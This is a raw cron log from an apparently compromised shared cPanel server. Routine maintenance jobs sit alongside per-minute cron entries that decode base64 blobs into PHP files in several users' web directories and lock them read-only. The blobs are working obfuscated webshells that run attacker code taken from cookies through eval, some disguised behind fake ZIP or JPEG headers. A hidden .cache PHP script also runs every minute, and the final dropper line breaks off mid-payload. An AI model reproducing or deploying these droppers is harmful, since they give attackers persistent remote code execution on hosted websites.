Apr 19 05:15:02 medusa CROND[8990]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:15:02 medusa CROND[8995]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:15:02 medusa CROND[8996]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 05:15:02 medusa CROND[8993]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 05:15:02 medusa CROND[8992]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 05:16:01 medusa CROND[637]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:16:01 medusa CROND[730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:16:01 medusa CROND[731]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:16:01 medusa CROND[733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:16:01 medusa CROND[736]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:16:01 medusa CROND[738]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:16:01 medusa CROND[741]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:16:01 medusa CROND[737]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 05:16:01 medusa CROND[743]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:16:01 medusa CROND[739]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 05:16:01 medusa CROND[744]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:16:01 medusa CROND[747]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:16:01 medusa CROND[748]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:16:01 medusa CROND[752]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:17:01 medusa CROND[25164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:17:01 medusa CROND[25211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:17:01 medusa CROND[25222]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:17:01 medusa CROND[25223]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:17:01 medusa CROND[25224]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:17:01 medusa CROND[25225]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Apr 19 05:17:01 medusa CROND[25228]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:17:01 medusa CROND[25229]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:17:01 medusa CROND[25234]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:17:01 medusa CROND[25236]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:17:01 medusa CROND[25233]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 05:17:01 medusa CROND[25242]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:17:01 medusa CROND[25250]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUo